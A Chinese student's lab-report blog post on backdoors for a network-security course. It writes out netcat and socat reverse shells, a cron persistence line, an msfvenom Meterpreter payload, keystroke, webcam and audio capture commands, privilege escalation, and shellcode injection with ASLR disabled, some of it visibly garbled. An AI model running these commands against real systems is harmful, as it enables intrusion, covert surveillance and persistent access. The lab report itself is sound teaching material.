20175122邱昕 网络对抗技术exp2后门的原理与实践

前言

这期实验本来早就做完了,一直存着截图懒得写博客,今天有点动力写一写,也是一种复习吧

实验内容

1、使用netcat获取主机操作Shell,cron启动 (0.5分)

2、使用socat获取主机操作Shell, 任务计划启动 (0.5分)

3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

 

常用工具学习

netcat——是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作netcat常用命令可用netcat.exe -help查看帮助文档


-4 Use IPv4 only -6 Use IPv6 only -C, --crlf Use CRLF for EOL sequence -c, --sh-exec <command> Executes the given command via /bin/sh -e, --exec <command> Executes the given command --lua-exec <filename> Executes the given Lua script -g hop1[,hop2,...] Loose source routing hop points (8 max) -G <n> Loose source routing hop pointer (4, 8, 12, ...) -m, --max-conns <n> Maximum <n> simultaneous connections -h, --help Display this help screen -d, --delay <time> Wait between read/writes -o, --output <filename> Dump session data to a file -x, --hex-dump <filename> Dump session data as hex to a file -i, --idle-timeout <time> Idle read/write timeout -p, --source-port port Specify source port to use -s, --source addr Specify source address to use (doesn't affect -l) -l, --listen Bind and listen for incoming connections -k, --keep-open Accept multiple connections in listen mode -n, --nodns Do not resolve hostnames via DNS -t, --telnet Answer Telnet negotiations -u, --udp Use UDP instead of default TCP --sctp Use SCTP instead of default TCP

1.使用netcat获取主机操作Shell,cron启动

1.1windows获得linux shell

从老师给的链接下载netcat

linux的软件准备ufw防火墙的安装



关闭防火墙360杀毒软件 主机和linux的都要关,linux先获取root权限再ufw disable(吐槽一下一定要记得关360,我第一次忘记关了他把我后门程序删了)


ipconfig查看主机ip,ip add查看linux ip


(懒得截图了,关闭linux防火墙和查看linux ip 同一张图了)linux ip为192.168.81.130


进入ncat.exe所在文件夹,并执行ncat.exe -l -p 5122,linux端用nc 192.168.81.1 5122 -e /bin/sh



这张图片我发现我忘记截linux端的了,2张图片都放上来吧,写博客的时候又重新做了一遍,以后还是边写博客边做吧

1.2linux获得windows shell

linux端打开监听nc -l -p 5122
windows端反弹连接linux




平民没有mac做不了mac相关实验


1.3netcat传输数据

Windows下监听5215端口,ncat.exe -l 5122
kali反弹连接到Windows的5215端口,nc 192.168.81.130 5122



连接建立成功,双方可以相互传输数据
1.4nc传输文件

kali 反弹连接到Windows5122端口,nc 192.168.81.1 5122 < file1.in

Windows端监听5122端口,并把收到的数据保存到file5122.out中,ncat.exe -l 5122 > file1.out





1.5cron启动

    windows端先监听ncat.exe -l -p 5122

     linux端使用crontab -e,选择3

在跳出的界面中最后一行加上13 * * * * /bin/netcat 192.168.81.1 5122 -e /bin/sh,意思是是在每个小时的第13分钟反向连接Windows主机让其能够执行Shell功能。

esc后:wq强制保存退出




这里有个问题我ls不成功,whoami弹出root,最后是使用ip add的

2.使用socat获取主机操作Shell, 任务计划启动

在老师给的链接中下载socat.exe文件

win+r输入compmgmt.msc

创建任务,创建触发器,新建操作





需要注意的是新建操作,操作为启动socat.exe程序,参数填写tcp-listen:5122 exec:cmd.exe,pty,stderr
到时间自动弹出

在linux中输入socat - tcp:192.168.811:5122

成功

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

先在linux端生成后门程序 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 -f exe > 5122backdoor.exe这里使用linux ip地址,因为是linux端控制windows端

windows端输入ncat.exe -l 5122 > 5122backdoor.exe
linux端输入nc 192.168.81.1 5122 < 5122backdoor.exe

就是这里360把我后门给删了,只能关了360再传一遍

linux端使用msfconsole进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口

然后exploit开始监听,windows端运行后门程序,黑客开始了



4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

用record_mid截获音频


用webcam_snap摄像头照相(我电脑摄像头坏的,不知道驱动程序坏的还是怎么回事)

用screenshot截屏



用keyscan_start记录下击键的过程,用keyscan_dump读取击键的记录

用getuid查看当前用户,getsystem提权
5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell


注入前的准备工作,以下步骤参考实验1和本实验的任务3
execstack -s pwn1 设置堆栈可执行
execstack -q pwn1 查询文件的堆栈是否可执行,显示X pwn1则表示可执行
echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭,如显示0则已关闭,2未关闭
访问相关网站得到shellcode,通过实验一知我的shellcode起始地址为0xffffd6f0,把地址加在这段shellcode前面,在kali中用其生成pwn1文件。
perl -e 'print "A" x 32;print"xf0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68
x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68
x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > pwn1这段代码是的ip地址是127.0.0.1的,端口为4444,因此要设置一遍ip地址和端口号

连接成功

6..基础问题回答


(1)例举你能想到的一个后门进入到你系统中的可能方式?

自己见一个游戏网站,在游戏中植入后门程序,诱导玩家下载

 

(2)例举你知道的后门如何启动起来(win及linux)的方式?

windows:自启动,伪装成windows的服务诱使windows自己启动

linux:Crontab和注入shellcode

 

(3)Meterpreter有哪些给你映像深刻的功能?

直接生成后门程序,不需要自己编程,简单快捷,但实用性差,只能用于没有任何防火墙安全软件的电脑

 

(4)如何发现自己有系统有没有被安装后门?

监控开机自启动,网络连接,服务等,安装杀毒软件,及时更新病毒库,常扫描电脑杀毒

 

7.实验总结与体会

又是一次实验,老师上课说本次实验比上次实验要简单一些,自己做下来确实如此,在本次实验中了解了netcat,Meterpreter后门等知识,并熟悉了一些有关的简单命令,了解了后门的使用流程方法,总的来说是一次成功的实验,在看完老师的实验指导和同学学长学姐的博客后能够比较顺利的做出实验。当然,也有一些坎坷,小细节小错误在计算机上会被无限放大,还有待改进吧。



原文地址:https://www.cnblogs.com/qiuxin/p/12528027.html